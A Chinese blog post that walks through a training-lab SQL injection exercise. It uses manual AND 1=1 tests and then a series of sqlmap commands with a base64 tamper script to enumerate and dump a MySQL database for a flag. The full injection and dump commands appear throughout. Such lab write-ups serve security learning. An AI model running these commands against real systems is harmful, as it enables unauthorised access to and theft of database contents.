最近在學習網絡安全,挖洞避免不了要使用許多工具,使用著名注入工具sqlmap的時候,對於英語不怎么好的我就比較難受了,本來就不會使用,加之又是英語的,簡直難受。上網找了好多詳細教程,但是命令實在是太多,感覺自己不可能一下就全部學會,於是決定一點一點慢慢來,用實戰來慢慢熟悉這個工具的使用-----我相信通過每一次的記錄我會慢慢變強!
這是墨者學院一個SQL注入漏洞靶場:http://219.153.49.228:49835/show.php?id=MQo= 【目的是尋找flag】
【想練習的可以去墨者學院-->在線靶場-->web安全-->sql注入-->sql注入實戰-MySQL】 不啟動靶場進不去這個鏈接
進入網站提示的信息如下圖所示:

從這個網頁提示信息我們也可以窺視出一些東西:
- 它使用的數據庫類型是Mysql
- key的值就存儲於變量里面(很可能key值就是我們苦苦尋找的flag,那肯定是存儲在數據庫里面的)
-
先對其進行手工注入:你們懂得就是 在URL后面分別添加AND 1=1 和 AND 1=2,看兩次返回結果是不是一樣,不一樣說明存在注入漏洞。不知道為啥我的兩次返回界面都是空白的。
-
鑒於這種類型的URL存在注入可能性很大,那必然得用sqlmap跑一跑吶,不放過任何機會。
- 測試注入:sqlmap -u http://219.153.49.228:49835/show.php?id=MQo=
結果如下:

sqlmap返回信息顯示:參數 id 可能不存在注入,可以嘗試增加嘗試等級(level),或者增加執行測試的風險(risk)。如果你覺得存在某種保護機制,可以使用tamper篡改注入數據。
- 根據上面提示信息我們增加level和tamper:sqlmap -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode

接下來就是常規拖庫操作了:
- 先查一下數據庫名:sqlmap -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode --current-db
【顯示數據庫名是test】

- 在查一下當前用戶:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 --current-user
【顯示當前用戶是admin(權限等級挺高,有戲)】

- 查一下數據庫test中有哪些表:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables
【結果只有一個表:data】

- 查一下data表中有幾列:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test -T data --columns
【結果顯示有4列】

- 從上表中我們可以很清楚就看到thekey所在列的值就是我們苦苦追尋的flag,所以最后一步就是查詢thekey的值:
sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables -C thekey --dump

到此我們成功獲取flag。
注:這只是我的練習具體過程,不是sqlmap命令詳解。
